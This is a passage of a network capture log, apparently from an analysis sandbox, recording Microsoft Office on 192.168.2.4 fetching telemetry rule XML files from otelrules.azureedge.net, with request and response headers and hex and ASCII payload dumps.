2024-10-31 16:27:20 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:27:20 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDC13EFEF" x-ms-request-id: a9595a72-801e-0015-2bad-26f97f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T162720Z-16849878b78nzcqcd7bed2fb6n0000000280000000009m8t x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 16:27:20 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6a 65 63 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702300" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProject" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.4	62954	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 16:27:20 UTC	192	OUT	GET /rules/rule703401v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 16:27:20 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:27:20 GMT Content-Type: text/xml Content-Length: 1425 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6BD89A1" x-ms-request-id: 9a40e34d-b01e-005c-559c-274c66000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T162720Z-16849878b7898p5f6vryaqvp580000000ak000000000mv5k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 16:27:20 UTC	1425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703401" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexus

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.4	62955	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 16:27:20 UTC	192	OUT	GET /rules/rule703400v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 16:27:20 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:27:20 GMT Content-Type: text/xml Content-Length: 1388 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDBD9126E" x-ms-request-id: e02f31dd-001e-0082-0849-275880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T162720Z-16849878b78g2m84h2v9sta29000000008q000000000e2zh x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 16:27:20 UTC	1388	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 53 3d 22 4d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703400" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammableSurfaces" S="M

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.4	62956	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 16:27:20 UTC	192	OUT	GET /rules/rule702501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 16:27:20 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:27:20 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:57 GMT ETag: "0x8DC582BE7C66E85" x-ms-request-id: 6afd71f5-301e-003f-7d9e-26266f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T162720Z-16849878b78g2m84h2v9sta29000000008mg00000000s2a8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-31 16:27:20 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.4	62957	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 16:27:20 UTC	192	OUT	GET /rules/rule702500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 16:27:20 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:27:20 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB813B3F" x-ms-request-id: c032846d-701e-005c-2d58-27bb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T162720Z-16849878b78qwx7pmw9x5fub1c000000080g000000001dn0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 16:27:20 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammability" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.4	62958	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 16:27:20 UTC	192	OUT	GET /rules/rule700501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 16:27:21 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:27:21 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:58 GMT ETag: "0x8DC582BE89A8F82" x-ms-request-id: 622dd3a6-e01e-0003-140d-260fa8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T162721Z-16849878b785jrf8dn0d2rczaw0000000avg00000000qy6d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 16:27:21 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.4	62959	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 16:27:21 UTC	192	OUT	GET /rules/rule700500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 16:27:21 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:27:21 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE51CE7B3" x-ms-request-id: dbdc188e-001e-002b-6b28-2799f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T162721Z-16849878b78p49s6zkwt11bbkn00000009eg00000000cm65 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 16:27:21 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 6f 77 65 72 50 6f 69 6e 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPowerPoint" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.4	62960	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 16:27:21 UTC	192	OUT	GET /rules/rule702551v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 16:27:21 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:27:21 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCE9703A" x-ms-request-id: 63860650-101e-00a2-42b4-279f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T162721Z-16849878b78fhxrnedubv5byks000000083g00000000dxmp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 16:27:21 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702551" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.4	62961	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 16:27:21 UTC	192	OUT	GET /rules/rule702550v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 16:27:21 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:27:21 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE584C214" x-ms-request-id: c49cf7be-b01e-0002-3880-271b8f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T162721Z-16849878b78zqkvcwgr6h55x9n00000009a0000000002v3k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-31 16:27:21 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702550" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPersonalization" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.4	62962	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 16:27:21 UTC	192	OUT	GET /rules/rule701351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 16:27:21 UTC	517	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:27:21 GMT Content-Type: text/xml Content-Length: 1407 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE687B46A" x-ms-request-id: 0da8e427-501e-0035-47d8-2ac923000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T162721Z-159b85dff8flqhxthC1DFWsvrs00000001q000000000aaz8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 16:27:21 UTC	1407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.4	62963	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 16:27:21 UTC	192	OUT	GET /rules/rule701350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 16:27:22 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:27:21 GMT Content-Type: text/xml Content-Length: 1370 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE62E0AB" x-ms-request-id: c9ef38c2-001e-002b-2fff-2599f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T162721Z-16849878b78bcpfn2qf7sm6hsn0000000b8000000000yzh9 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 16:27:22 UTC	1370	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPerformance" S="Medium" /> <F

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.4	62964	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 16:27:21 UTC	192	OUT	GET /rules/rule702151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 16:27:22 UTC	517	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:27:21 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE156D2EE" x-ms-request-id: 7a68eea2-001e-00a2-2aac-2ad4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T162721Z-159b85dff8f6x4jjhC1DFW7uqg00000001b000000000dc7z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
